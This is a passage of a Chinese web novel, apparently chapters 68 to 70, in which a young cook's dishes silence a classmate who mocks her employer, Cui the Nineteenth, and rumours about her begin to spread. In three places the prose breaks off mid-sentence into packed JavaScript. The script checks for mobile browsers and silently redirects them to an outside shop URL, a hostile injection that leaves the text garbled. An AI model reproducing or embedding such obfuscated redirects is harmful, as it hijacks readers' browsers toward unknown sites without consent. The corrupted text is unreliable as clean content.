“衔儿,没想到一段时日未见,你气色竟好了许多,可是寻到了良医?”老夫人关切地问道。 崔衔含笑回道:“算是也不算是,侄孙府上新聘来一名厨娘,手艺精巧,所做菜肴甚合我胃口,吃的多了些,气色便好上了不少。” “哦?”老夫人兴致盎然,“竟是如此,原以为你去学堂进学后,因课业压力会越发消瘦,没想到倒是……”再次仔细打量,内心越发欢喜,“越发康健。” 一旁随侍的嬷嬷见老夫人开心,一直未用膳,恐菜凉了,正好去取碗箸的丫鬟进来,她插嘴道:“老夫人吩咐的碗箸送来了,不若与十九爷一同用膳,十九爷怕是才下学就过来了,定然还未食晚膳。” 崔衔这才说:“十九回院食用就是,就不劳烦嬷嬷了。”家中膳食分等级,他在崔将军府上借住了几年,对此心中自是清楚。 老夫人详怒道,“来都来了,哪有回院单吃的说法,怎么?是不是嫌弃叔祖母的厨子手艺不精?” 崔衔摇头,府上一切都是堂叔母崔夫人掌控,但凡反应不对,这话传到崔夫人耳中,指不定要闹出点什么来。 毕竟他那个堂叔母可不是什么大气的。 崔十九郎顺着老夫人的话语,哄着老夫人先用膳食,等到厨房将他的膳食送上来后,他陪同老夫人一起吃,席间,只有俩人用餐时的声音,毕竟,大户人家有食不言寝不语的规矩。 此时,一道隐在暗处的身影悄然离去,厅堂内的人都不知道。 用膳结束后,老夫人端起茶盏,涮去嘴中的食物残渣,才又关心询问起崔十九郎近段时间的课业情况。 搬出延寿坊前,崔十九郎有在府中的学堂上学,老夫人当时就知道,十九并不是个喜读书的性子,现如今,被自家儿子送去那学堂,也不知道是什么情况。 “还行,学堂夫子比起当初府里聘请的杜夫子更为博学。有些知识,侄孙儿更是闻所未闻,学堂中的同窗有擅诗的,有擅骑射的,还有擅长……” 老夫人眉眼弯弯看着眼前的少年郎说起学堂中的事情,眼眸发光,恍惚间,她忆起往昔。 插在烛台上的烛火随着空气而摇曳,烛光映射在祖孙俩脸上,他们脸上有着相同的幸福神情。 这一幕,却深深刺痛了站在门外暗处许久的崔夫人的心。 好一幅温馨的场面,但这里面的主角却不是她的十五,她的麒儿,而是崔家的旁系,一个罪臣之女诞下的庶子。 冠以崔姓、庇佑他平安长大,是婆母和夫君的善心,也是殊荣。只不过,这庶子长大后,竟抢了她麒儿的机缘。目光带上了几分不满和怨恨,跟在她身后的溪娘子快速垂下眼帘。 很快,崔夫人平静了心情,挂着温柔的笑容跨进厅内,“母亲和十九在说什么呢,说的如此开心,也让我来听一听。” 厅堂里的祖孙俩顺着声音望去,崔衔站立起身,朝崔夫人恭敬行礼,“堂叔母安。” 老夫人瞧见她,甚是欢喜,招手道:“快,你也来一起听一听,衔儿正在跟我说他在学堂里的事。” “哦?”崔夫人看向崔十九郎,温柔道:“十九说一说吧,正好你那十五哥也快要随军回长安了,你说给我听,我也能转述给十五知晓。” “十五要回来了?”老夫人一听这个,立马感兴趣问。 十五是她嫡子崔将军的嫡长子,日后他们延寿坊崔家未来的当家人。他们延寿坊崔家,从自家夫君弃文从武到崔麒已是第三代。这次随军出发,哪怕心有不舍,也是必然要放出去历练。 天下初定,正是累积军功的好时机。 目光移到一旁的十九身上。十九在府中长大,跟他们亲近,现如今在学堂多结识些文官人脉,堂兄弟俩人一文一武,守望相助,延寿坊崔府必然能再兴盛百年。 崔夫人瞧见婆母的眼神,面上不显,心中满是怨恨。 几人相谈甚欢,直到外面传来一更的梆子声,话语也落在了崔十九欲请同窗来府上做客之事。 崔衔:“叔祖母若是愿意,也可一同前来,正好也能尝一尝我新聘的厨娘的手艺。” 崔夫人心神微动,拧眉担忧:“母亲年岁大了,车马劳顿恐有不便。十九不若让那厨娘来这边府上伺候?”言下之意,那宴请之事也可在延寿坊崔府中。 崔十九郎脸上的笑意不减,“堂婶的担心,十九也理解。只不过,叔祖母从未去十九的府上过,府中水阁正直春光,花木繁盛,别有一番风味。只望叔祖母不嫌我们这些儿郎喧闹……”微微停顿,他又提议,“又或者,另选一个合适的日子,侄孙专门为叔祖母设宴。” 人老了便喜欢儿孙绕膝的热闹。前些年长安混乱,老夫人深居简出,如今时局平稳,又是去自己堂侄孙儿府上,老夫人心中意动,但自家儿媳的担心她也不能不受,心念一转,老夫人说:“近日家里收到你堂叔的来信,说他们也快回来了,或者等他们回来,到时候我带上十五一起,十九可欢迎。” “自是欢迎。”崔衔眼角带笑,言辞诚恳,“许久未见到十五哥了,想来这次出征,他定是收获和成长了不少。” 这话崔家两位夫人都爱听,崔夫人想着之前她不满夫君将去学堂的机会给了十九,这次要是十五能一起,也能结识一些学堂上的学子,对十五也好,便没再多言劝阻。 后续的话语,一直围绕在十五郎身上,说的崔老夫人和崔夫人脸颊红润,神清气爽。 当夜,文奶娘将玉娘唤至暗处,眼底掠过一丝厉色,压低声音道:“机会来了。老夫人上门那日,正是动手之时。”没想到这童家人命硬,几次加害都未能得逞,她的火气也上来了。 玉娘想起日间听闻的消息,手心冒汗,心下犹豫,却被文奶娘厉声骂了几句“不成器的,你以为现在还能罢手!”,最终只得白着脸,嗫嚅着应下。 “上前来,我教你怎么做。” * 童白归家后,便将献食方、入崔府为厨以求庇护之事,悉数告知家人。她并非施恩不望报的性子,该让家人知晓的,从不隐瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白氏眼瞪得老大,一旁的二郎拉住童白的衣袖,“阿姊,真的吗?就连霉稻谷也是吗?”他知道玉娘对自家的不喜,当初未出府的时候,玉娘的儿子赵虎就爱带着人欺负自己。 没想到他们家都出来了,他们还是不放过自家。 童白看向二郎,这孩子虽然只有六岁,但早点让二郎明白人心的险恶,未必不是在教他。 “嗯,还有二郎上回差点被掳走,我怀疑也跟她们有关。” 不然,陈大河为何就盯上了童家? 主要是童家一无恒产可让人觊觎,且童家之主还是军中校尉,一般人不会生出加害的心思,不一般的人看不上。 差点被掳走的恐惧占据了二郎的思绪,他的眼眶气得发红,“她们怎么这么坏!”。 他想不明白为何那些人要这么对自家,他只知道若不是喝了霉米粥醒来后的阿姊变得厉害了,他们家怕是现在早已散了。 童白摸了摸二郎的头,看向白氏,“只不过,按阿娘说的旧怨,应该是不至于到灭口的程度吧?”买凶杀人,需要付出的银钱必然不少,她不觉得,如果只是玉娘和阿娘之间那点子矛盾,对方会如此舍得。 白氏神色慌乱,“如今你爹尚未归家,那如何是好?”没知道缘由前,她慌乱,知道后,她更加六神无主,“玉娘背后是文奶娘,上回让你去崔府做膳食,就……”想着上回是被十九爷相助,她拉住童白的手用上了几分力道,“十九爷如何说?” 童白脸色瞬间垮下来,“阿娘以为,十九爷又会如何说?” 白氏并未回答。 二郎不安地拉住童白的衣裙,三娘也靠站过来,仰起小脑袋不明所以地看向阿姊和阿娘。 有十九爷对厨艺的肯定,童白也有了跟白氏摊牌的底气。 “我只是他请的小厨娘。”她不愿白氏有着不切实际的幻想或依赖,“能安排人护住二郎和昨夜之事,我们已欠十九爷颇多,不能强求更多。” 白氏沉默,脸上有着明显的失望。 童白目光扫过惴惴不安的二郎与懵懂的三娘,最终定定落在白氏写满失望的脸上,声音不高,却字字清晰:“阿娘,十九爷愿意伸手,是恩情。我们受了,要记着。但他不欠我们的,更没有义务替我们扫清所有麻烦。往后如何,终究要靠我们自己立起来。” 这句话在她心里盘桓已久,今日终于说了出来。 68. 质疑 第二日,崔老站在小厨房外,深沉地望向屋内。 小厨房内,童白正指挥着众帮厨准备午膳。 “这个陶瓮用大火烧开再转小火,隔壁那口,全程小火。”童白站在灶膛后,声音清晰,眼神清亮,完全不见疲态。 吩咐完毕,她又行至备菜区,看着两名正为萝卜雕花的帮厨,缓声道:“雕花最重要的是手稳,心细……” “是!”两名帮厨头也没抬,沉声应道。 在外看着这一幕的崔老,面色一僵。 所以,童小娘子不打算练习雕花,而是改为教其他人了吗? 想着前几日递到主子面前的消息,他心里泛起嘀咕,这童小娘子也不知道是擅庖厨还是不擅庖厨,做菜好吃,但大厨的基本功,比如切菜和烧火,却是十分一般,但要说菜肴的美味和火候的掌握,却又是刚刚好。 真是谜一样的厨艺! 童白环顾小厨房一圈,见他们井然有序的忙碌着,一个偷懒的都没有,满意地点点头。 眼角余光瞧见站在小厨房外的崔老。 一秒都没迟疑,她朝崔老露出个璀璨的笑容,“崔老,您怎么过来了?” 童白来府上的小厨房上工后,不止主子吃胖乎了些,就连原本瘦筋筋脸色蜡黄的童小娘子也面色好上不少。 这变化,让崔老失神片刻,轻咳一声:“童小厨娘,”侧身,“借一步说话。” 童白朝小厨房内竖着耳朵的众帮厨交待一句,“你们先忙着,我去去就来。” 崔老走在前面,领着童白去到离小厨房十余米的空旷处,小声交代,“十九爷说,麻烦童小厨娘准备些食材寻常,滋味却能一鸣惊人的菜肴,”想着十九爷的原话,着重叮嘱:“最好是市面上不常见的,比如五香煨菜那种。” 没想到身份才转变,需求立马就来了,万恶的资本家,哪个朝代都一样。 但,她契约精神满满。 “崔老以为,份量做多少合适?”往日的午膳是为十九爷调养身子,份量相对于同岁数的郎君而言,要少上两分。 “多做三份即可。”崔老抚须道。 童白点头。 懂了,钓鱼嘛,自然是不可能往饱了喂。 饥饿营销请了解一下。 “您看这样可好,用萝卜、白菜、豆腐和一些常见的菜蔬为食材,串签炖煮后,再蘸着不同滋味的蘸料食用,这个如何?” “蘸料?岂不是和你第一次做的蘸料味道类似?”崔老感兴趣问。 若是那个,味道可真是不错。就是这样会不会太简单,不够惊艳。 崔老怎么想的也怎么问了出来。 “这是其中一道,另外一道菜,我打算做开水白菜,高汤用鱼骨、羊骨同熬,再佐以鱼糜制成的鱼饼,鲜醇无比。几相搭配,足以应对。”滋味不错,营养也能跟上。 “可以,就按童小厨娘安排的办。”崔老思及十九爷的计划,又瞥了眼人多眼杂的小厨房,未再多言,转身离去。 童白回到小厨房,开始分派活计。 有人用萝卜蓉和了麦粉,以麻油炸成金黄的素丸,预备放入汤中同煮。有人则将各式菜蔬切配妥当,以竹签串好,码放入翻滚的汤瓮之中。 而她亲自执勺,调配数种蘸料。酸甜、麻酱、葱油、蜜汁……忆及前世那被誉为“鞋底蘸了都香”的贵州蘸水,她不由莞尔。 至于说茱萸蘸料,未做给大家试吃过,也不知道大家能不能接受,索性这一次没有做。 担心路上凉了影响口感,食材煮制到八九分时端下来,后续一两分,让小厮送过去后在厨房加热一下即可。 她询问过崔老,借用炉灶热饭菜的情况,学堂是允许的。 * 学堂。 随着下学的钟声响起,学堂里的学子们心思涌动。他们这一群长身体的儿郎,一个上午过去,腹中早已空空如也。 不过,惯来给送吃食的小厮并没有送吃食过来,这让已经习惯这个时候崔十九郎会收到餐食的众人有些不明就里。 “一个个的,就像许久都没吃东西的……也不知是不是在家没米粮吃了,只能来这儿乞食。”一道不阴不阳的声音就这么在学堂里响起。 原本噪杂的学堂,瞬间安静,落针可闻。 “乞食”二字就像是冷水滴入热油,瞬间炸开。 首先反击是范阳卢氏家嫡系一脉的卢三郎:“郑林,你胡诌个什么!” 他父亲虽只是个五品清流文官,但因着其出身,他从来不是个忍气吞声的性格。 “同窗之间友好分享吃食,乃是同窗之情,怎的话从你嘴里说出来,就变得如此的不堪!” 郑林怒目冷哼一声,双手整理了下衣襟,漫不经心道:“同窗之情明明就是你们为贪享口腹之欲找的借口罢了……”语顿,他视线扫向一旁的崔十九郎,“一个旁系庶子家的家厨能做出多好吃的吃食来?你这自降身份的举动,你家父亲可知?” 崔十九郎端坐在桌案之后,脊背笔直,面沉如水,藏在袖中的手指捏的紧紧的。 又来了,自从他入了这学堂后,以萧五郎为首的一众世家子弟,对他的不喜和瞧不上全都摆在明面上。 拿出身贬低他! 往日他为了顾全大局全隐忍下来,只让崔老暗中找人给这些人的家人找了些绊子,近日萧五郎消停了,却没成想,萧五郎今日告假,这郑家的郑林倒是冒了出来。 “郑兄这话差矣。”一道声音响起,是长相圆润说话也惯来圆滑的李五郎,他笑着打圆场,“不过是些各家各户都能吃得上的寻常食材,何需说的那么严重。”见郑林还想反驳,他面色诧异:“总不能,郑兄以为这里还有谁家吃不上萝卜、白菜和豆腐?” “自是吃的。”人群中有人小声答道。 崔十九郎眼眸微动,虽然说话之人声音不大,但他还是分辨出来是王六郎的声音,他的父亲官职不高,又不是世家子弟,能这般答上一句话,怕是已经是他的勇气了。 “这!”郑林被他们这一唱一和的话语激得满脸通红,指着崔十九郎,眼神森冷:“他带来的吃食你们也敢吃?他生母是前朝罪臣之女,他外祖一家现在还在岭南流放,这样拥有罪臣血脉之人,你们就为了那几道菜,跟他谈什么同窗之情,你们的长辈家人可知你们在学堂是如此行事交往的吗?” 都说吵架对事不对人,但是郑林显然不是,他是对人不对事,这崔十九郎从入学堂第一日时,他便瞧着十分不爽。 “既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758769|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是寻常食材,那为何他家烹饪出来的就会如此好吃,你们就不怕他在里面放一些乱七八糟的?现在是做给你们吃,后续是不是要送去你们府上给你们的家人吃?真要吃出个好歹来,你们能担起这个责吗?” 这话就差指明崔十九郎是不安好心! “你!”卢三郎被他这话气到了,从未受过如此诬蔑话语的他,正准备冲过去教训郑林,却被崔十九郎拦住。 崔十九郎站起身,他虽瘦削,却很高,站起来,比高大威猛的郑林来说,一点也不矮。崔十九郎并未直接面对郑林,而是朝适才为自己说话的卢三郎和李五郎拱手行礼,“多谢卢兄、李兄仗义执言。” 随后,他才面对郑林,“这位,我家中厨娘所做,不过是些萝卜、白菜、豆腐之类的寻常菜蔬,所用油盐之料也全是市井所售卖,并无何稀奇和什么乱七八糟,”说到此,他顿了顿,又道,“至于说后续会不会送去给同窗的家中,甚至于让他们吃出个好歹来,这个,大可放心。” 他声音晴朗,一字一句,舒缓得当,“我一个旁系、又不被父亲喜欢、生母更是前朝罪臣之女的庶子,也没得那个财力和面子,可以让各位同窗家能吃上我家厨娘做的食物。” 这段看似自嘲贬低的话语,说出来后,并没有让在场人觉得看不上他,反倒是高看了几分。 毕竟并不是所有人都有崔十九郎的心性,能直面身世的不足,更没有因为这而颓然,反倒是云淡风轻,不以物喜不以己悲。 “崔兄好心性!”卢三郎率先肯定,怒瞪郑林:“比起那些学着礼义廉耻却生生拉帮结派搞对立的高贵人,你的品性真高洁!” 气不过的郑林正准备说话,“你……” “十九爷,午膳到了,”门口,崔家小厮背着背篓提着食盒,气喘吁吁地出现,恰好打破了这剑拔弩张的气氛。 所有人的目光,瞬间又被那食盒吸引了过去。 小厮在崔十九郎的示意下,将食盒提到他的案前。盖子尚未揭开,一股难以言喻的复合香气已经隐隐飘散出来。那香气不似单纯的肉香或菜香,似乎带着骨汤的醇厚,又夹杂着一种奇异的鲜香与淡淡的油脂焦香,勾得人腹中馋虫大动。 就连方才义正辞严的郑林,喉结也不自觉地滚动了一下。 这么这么香,比起上回的鸡腿更勾人心魂。 崔十九郎心中一定,问那小厮:“今日为何来晚了?” “今日的膳食不一样,”小厮喘了口气,才接着说:“今日小厨房做的串串签需趁热吃,故而咱们运来的是整个陶瓮,里面食物、汤汁不少,马车便行驶的慢了些,请主子责罚。” 从小厮说出第一句话就兴奋不已的卢三郎几人,根本没等崔十九郎说话,忙说:“既然如此,还不赶忙送去食堂加热。” 崔十九郎:…… 崔十九郎:“如此便按照卢兄所说,快去加热吧。” “是。”小厮朝外喊道:“你们先去食堂,加热!” 原来,整瓮食物并未进入学堂,都候在门外呢! 学堂内陷入一种微妙的寂静。争吵暂时停了,所有人的心思,都已被那即将加热好的食物牵走。卢三郎等人是期待,而郑林及其拥趸则是带着一种想要又嫌弃的复杂心态。 69. 猝不及防的美味 学舍食堂 深褐色的陶瓮在食堂的灶膛上重新咕嘟起来。 一股股勾人心魂的香味也随之扩散出来,这不是单纯的肉香或者是鲜香,而是一种糅合了肉香、菜香和鲜香的复杂香味。 让身处于这个环境之下的所有人都不由咽了咽口水。 无数道目光集中在那一口深褐色的陶瓮之上。 “这位小哥,你加热的是什么吃食,为何我从未闻到也从未见过。”食堂管事摸了摸肚子,对比之下,他感觉适才吃下去的都算不得上是吃食,顶多只能算是垫肚子的。 小厮蹲在灶膛前,留心控制着火候,分神答了一句:“是陶瓮烫菜。” 观其都是在学堂食堂里的管事了,没想到对方也不知道,这一下子,他突然觉得自己也没那么孤陋寡闻了。 怎么不继续说下去了呢,就报个菜名,管事不悦地皱皱眉,准备说话时,就见呼呼啦啦一群人陆续进来了厨房。 厨房重地,岂能容许他人随意踏入。 但这句话被卡在喉间,他认出了这些人的身份,是他得罪不起的学堂学子。“各位郎君进来可是有何吩咐?” 他们这个食堂的大厨以前是在兵营里做膳食的,做出来的饭食味道也仅限于能吃饱,学堂里的学子一般不会来吃,今日这么多人来到小厨房,他觉得很惊讶。 李五郎笑道:“陈管事,我们只是好奇,观摩片刻便走,陈管事自去忙吧。”他们适才在学堂坐了一会儿,却是压制不住想要快点品尝到美食的想法,于是便一同来了食堂。 陈管事拱手朝诸位学子作揖后退至一旁。此刻他的精神高度紧绷,生怕这群人在他的地盘出点什么事。 他这般,在场的学子也并未说什么,他们现在的关注点全在那口散发着香味的陶瓮之上。 卢三郎深吸一口,喉结上下滚动,低声询问崔十九郎,“十九郎,这味道,好像不似前几日的,”仔细闻嗅一变,“似乎更香。” 崔十九郎自是也闻出来了,他眼睛一眨也不眨地盯着陶瓮,似是想要看出里面有什么不一样,但瓮口不断涌出的白气,让他辨别不清。 “今日的膳食是什么?与往日的有什么不一样的?”话才说出来,崔十九郎就想收回去,也是习惯了童小厨娘的报菜名和介绍菜品的举动,这才这么自然的询问出来。 但小厮毕竟不是厨娘,应是不知。 “十九爷,”小厮闻言起身站立,恭敬行礼:“此瓮中热的是厨娘今日才新做的烫菜,将白菜、萝卜和豆腐改刀成合适大小,穿成串放入添加汤汁中进行烹饪。厨娘担心送来的途中菜肴变凉影响口感,遂交代奴才来学堂后再仔细加热一番,这样能最大程度的保持口感。” 站起回话是礼数也是规矩。 但听完这话的几人脸色一变,卢三郎率先说:“哎呀,既然是厨娘吩咐的,咱们都去学堂等着吧,免得打扰这边的热制。” 李五郎和王六郎也纷纷赞同,几人目光看向崔十九郎,崔十九郎微微颔首,“即使如此,你便按照厨娘交代的办,仔细着点,我先回去学堂等着。” 小厮应声。 这时候,厨房管事:“这么大的陶瓮,加热后再运去学堂,并不方便,若是各位学子不介意,就在餐堂等着,一会儿也方便送过去。” 这自然更好,李五郎与崔十九郎对视一眼,忙笑着谢过管事。 至于郑林,甩袖冷声一句“虚张声势!”,也坐在餐堂,一同等待。 餐堂与厨房只有一道布帘遮挡,没多时,厨房里的香味扩散到了餐堂,勾得等待着的一群人饥肠辘辘。 好在,这个间隙,原本候在学堂的小厮拎着食盒也缓步进来。 大家本就因为味道心猿意马的心思立马活跃起来。 “咳,这里面的饭食再放下去要凉了,不若我们先打开食用?”王六郎问。 小厮弓腰看向崔十九郎,见主子点头,迅速动作,很快,餐堂的桌案上,摆好了饭食。 四个陶制小罐,也就成年男子手掌大小,掀开盖,清亮汤色呈现在众人面前,其中隐约还见到白梗翠叶的白菜。 “真是矫情!”郑林轻呲,斜眼扫过几罐陶罐,“清水白菜还单独用罐装。” 卢三郎瞪他一眼,转脸问车夫时,声音平和,“此为何菜?” 小厮依着童厨娘事先的交代,恭敬答道:“回郎君,此乃‘开水白菜’。” “开水白菜?”郑林嗤笑出声,“崔十九,你便用这等清水煮菜来招待同窗?果然寻常!” 不仅是他,许多原本期待的学子也面露疑色。这名字,这卖相,实在太过朴素,甚至可说是寒酸。 崔十九郎心中也闪过一丝疑虑,但他选择相信童白,示意小厮:“分食。” “四罐,还分食,”郑林撇嘴轻哼,“可见你日子过得真不怎么样,清水白菜也这么舍不得,” 他这话没人接,但人群里有些人心里不由嘀咕:郑兄这话没说错,他们这里这么多人,怕是一人也就一口。 小厮听得主子的话语,去食堂餐具处,取过干净的白瓷小碗,用木勺轻轻舀起罐中“开水”。 只见汤色清澈见底,真如白水一般,唯几颗嫩黄菜心沉浮其间,无一丝油星。 当那碗“开水”被端到郑林面前时,他脸上的讥讽几乎要满溢出来。 卢三郎也有些急了,看向崔十九郎。 崔十九郎却已端起面前那碗,平静道:“各位,请。”说罢,他执起调羹,舀了一勺清汤,送入唇间。 动作从容,带着一种不容置疑的信任。 所有人的视线都聚焦在他脸上。 在汤入口的瞬间,崔十九郎几不可察地顿了一下。随即,他闭上了眼,眉头微蹙,仿佛在仔细分辨着什么,片刻后,眉头舒展,眼中闪过一丝极淡的惊艳,复又归于平静,只是默默又舀了一勺,这次,连带了一小片嫩如春色的菜心。 这番细微的神情变化,落在了紧盯着他的几人眼中。 卢三郎再不犹豫,端起碗就喝了一大口。 下一刻。 “唔!”卢三郎猛地瞪圆了眼睛,仿佛被施了定身法。 那汤入口之初,只觉得温润,随即,一股难以形容的、层次极其丰富的鲜味便在口腔中轰然炸开!极致的鲜美、醇厚的肉香、若有似无的焦香……种种滋味交织融合,汹涌澎湃,却又奇异地保持着汤色的清澈与口感的清冽,丝毫不显油腻。 这哪里是开水?这分明是汇聚了无数食材精华的琼浆玉液! “这……这……”卢三郎“这”了半天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787979|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸都憋红了,才挤出一句,“鲜!太鲜了!某从未喝过如此鲜美的汤!” 李五郎等人见状,纷纷端起自己的碗。一时间,惊叹之声此起彼伏。 “妙极!看似清水,实则内有乾坤!” “这白菜心亦是绝品,吸饱了汤汁,入口即化,鲜甜无比!” “十九郎,府上这位厨娘,真乃神人也!” 郑林脸色变了。 他看着眼前那碗依旧清可见底的汤,又看看周围同窗那毫不作伪的惊叹神情,握着调羹的手指紧了紧。 他不信邪地舀起一勺,迟疑地送入口中。 一瞬间,那极致鲜美的滋味便征服了他的味蕾。所有的嘲讽,在这纯粹的、直击灵魂的美味面前,土崩瓦解。他想维持脸上的不屑,可舌尖传来的愉悦信号却让他的表情僵硬无比。 他想说点什么挑剔的话,却发现任何言辞在这碗“开水”面前都显得苍白无力。这汤,已超出了他过往对“美味”的认知。 崔十九郎将他的窘态尽收眼底,心中快意,却不露声色,只淡淡道:“郑兄,此汤可还入得了口?不过是‘寻常’之物熬煮罢了。”汤汁入口后,他便尝出了点门道来,也不知童小厨娘如何处理的,汤汁比起往日的清透,味道却更鲜美几分。 这小娘子可真是厉害! 郑林脸颊肌肉抽动了一下,那句“寻常”此刻听来无比刺耳。他放下调羹,竟是一个字也说不出来,眼神却不由自主地瞟向那见底的汤罐。 他这态度,引起了其他人的警醒,卢三郎大口喝掉碗中汤汁,也不用别人帮忙,自己上手舀进碗中,三个罐罐就这么多,他可不愿便宜别人。 恰在此时,小厮和厨房管事抬着个竹筐过来,从那竹筐上飘散着的热气不难知道,那里面放着的正是加热的陶瓮。 随着他们越走越近,一股更浓烈、更富侵略性的香气席卷而来。大家抻长脖子去看,就见瓮中码放着一排排以竹签穿好的菜蔬、豆腐、金黄的炸丸,浸在乳白色的浓汤里。 而这边伺候的小厮,赶忙在桌上摆放好几个盛放着颜色各异酱料的小碟。 将陶瓮放好后,介绍道:“此物名为热煮串又名烫菜,可蘸食不同酱料。” 有了“开水白菜”珠玉在前,再无人敢小觑这看似乱炖的串串。众人一拥而上,纷纷取食。 “这丸子!外酥里嫩,浸了汤汁,绝了!” “蘸这酸甜之料,竟如此开胃!” “某偏好这麻酱,香醇浓厚!” “这豆腐吸饱了汤汁,小心烫口!” 食堂之内,一时只剩下咀嚼声、赞叹声,以及碗碟轻微的碰撞声。方才的剑拔弩张,已被这美食带来的最原始的满足与愉悦所取代。 郑林孤零零地坐在原地,面前那碗“开水白菜”已凉,他却再也无法说出半个贬损之字。他看着被众人围在中央,神情平静接受着感谢与惊叹的崔十九郎,第一次清晰地意识到,有些东西,并非出身与言语可以轻易贬低。 崔十九郎并未再看郑林。他慢慢品尝着一串蘸了蜜汁的萝卜,心中对童小娘子的厨艺更加深了认识。 从未想过,只是好奇和一丝善念,得来的却是如此丰厚的回报。美食不仅满足口腹之欲,调养身体,更为他挣来了尊严与人脉。 70. 让子弹飞一会 午后,小厮和车夫回到安仁坊,向崔老转达了十九爷的吩咐。 当晚,童白归家时,车厢里放置的大竹筐里塞满了各式食材和香料,其间赫然放着四个陶罐。 “十九爷夸童小娘子心思通透,这些食材和罐子正好可以腌制酸腌菜,还说邻里间的来往和试吃于厨艺有所增益,值得发扬。” 听着崔老转达的话语,童白目光扫过那叠好的白菜萝卜以及一扇猪肉,心下欢喜的很。 她就喜欢这种金主爸爸! 到家后,她拉着白氏将缘由细细说了,直到白氏点头,童白才彻底安心,笑眯眯地清点满筐食材。二郎和三娘围着一起帮忙。 夕阳洒落在几人身上,镀上了一层温暖的外衣。 白氏怀里抱着四郎,看着这一幕,想着适才她跟自己有商有量的模样,心中满是欣慰,只觉得日子愈发有了奔头。 童白领着家人将菜蔬处理妥当,腌制了数种风味的酸腌菜,又熬了猪油。那醇厚霸道的油脂焦香弥漫开来,勾得巷子里的孩童们都扒在院门边张望。 晚膳时分,余家、胡商与吴家的餐桌上,都摆上了童家送去的、用新熬猪油渣做的黄金油渣蒸饼。 翌日坊门初开,童二郎便领着三娘,提了满篮蒸饼前往城东城北的坊门处。坊吏并未多问,放他们入了值房,还回赠了些小物。胡大叔则拉着二郎问清了缘由,才笑着目送他们离开。 至于说兄妹俩在坊内的安全,白氏一点也不担心了,昨日归家时,童白便说了十九爷安排人手在这边之事。 昨日做来的包子,还分了些在竹篮里放在围墙上,等过一会再去看时,却见着只有一个空篮子了。 她心下大定,这感觉,比年节敬神还要踏实。 接连好几日,崔十九郎都点明要吃烫菜,最开始一瓮即可,后来便成了两瓮,而且菜式也从简单的白菜、萝卜和豆腐添加了许多别的食材。 因着一同吃的学子不少,所以卢家、李家和王家几家的管事,也都给安仁坊这边送来不少食材,羊肉、鱼肉、甚至于很多市井不常见的食材。 不是别的,主要是自从吃了崔家厨娘的手艺后,他们家小郎君也不爱吃自家厨子做的。 学堂里,郑林虽未再主动挑衅,心中对崔十九郎却越发不爽。想着前两日被祖父叫去书房的情景,他就忍不住握紧拳头。 “你跟在萧五郎身边,怎就学不会他半分审慎?没见他都已收敛锋芒,你反倒冲在前头!”郑老太爷气得顿足。他跟儿子这几日连续被清流一派官员针对,百思不得其解。 询问了孙儿的书童后才知祸源在郑林处,萧家小五都明哲保身了,郑林这大傻子竟然故意捣乱。 郑林却不服:“祖父,父亲,那崔十九不过一介旁系庶子,父不亲,生母更是罪臣之后。李、卢几家岂会真为口腹之欲便大动干戈?孙儿觉得,此事只是巧合!” 郑父怒吼:“休得多言!管它是与不是!这段时日,你给我安分些!”他面色铁青,已是怒极。 “…是。”郑林应得极不情愿。 郑家这边暂歇了心思,崇延坊那边却起了关于童家小娘子的风言风语。卢娘子特意来寻白氏,忧心道:“你们可是得罪了什么人?”她疑心童白不慎开罪了贵人,才授人以柄。 白氏蹙眉:“这却不知。我平日少出门,往来也只有几家相熟的。大娘子她日日去府上做工,忙得脚不沾地,应是无暇他顾。”自坦诚身份后,她对外皆称童白为“大娘子”。心下却打定主意,晚间定要问个分明。 送走卢娘子,白氏又去了余家。从刘氏口中,她听到了更多不堪的传言。刘氏满面愁容地拉着她:“妹子,嫂子多句嘴,这事得尽快平息,否则传扬开了,于娘子的名声大大不利!” 这日童白下工回家,刚进门,便被白氏一把拉住。神色是从未有过的凝重: “有件事……坊间有了不好的传言,关于你的名声。” 白氏将从卢娘子和刘氏那听来的闲言一一道出,“说你根本不会厨艺,能被贵人看中去府上做厨娘是用了些狐媚子的手段……”越说声音越低,眉头越皱越紧,“还有那甚者,说你做出来的菜肴,都,都是别人做的,但是贵人帮着你,从别人那抢来的。” “他们这是红口白牙污你清白!”白氏气得浑身发颤,紧紧握住童白的手,“你靠的是自己的手艺吃饭,岂能任她们随意编排。” 童白初听时,一股子怒意直冲天灵盖,恨不得立马打杀上门,但很快她强迫自己冷静下来。谣言恶毒,背后之人其心必诛,她可不能自乱阵脚。 “阿娘,”童白反握住白氏的手,触感冰冷,微微发颤,童白的心突然感觉暖了几分,“阿娘,这事,您要气着了自己,就不划算了。” “可难道就这样不管?”或许是童白手上的温暖让白氏缓解了焦虑,她也没之前那般着急了,脑子也转起来:“或许我们去求贵人,求求他来帮我们。” 话一出口,心下一紧,想起上回提及求助时女儿的反应。 童白此番却未抗拒,只压低声音分析道:“阿娘,此事蹊跷。以往的谣言是针对阿爹的,这次却连贵人都牵扯上了,绝非只冲着我童家而来。”她说着,指尖向上轻轻一点,又比了个噤声的手势。 白氏双眼微张,很快想明白了。 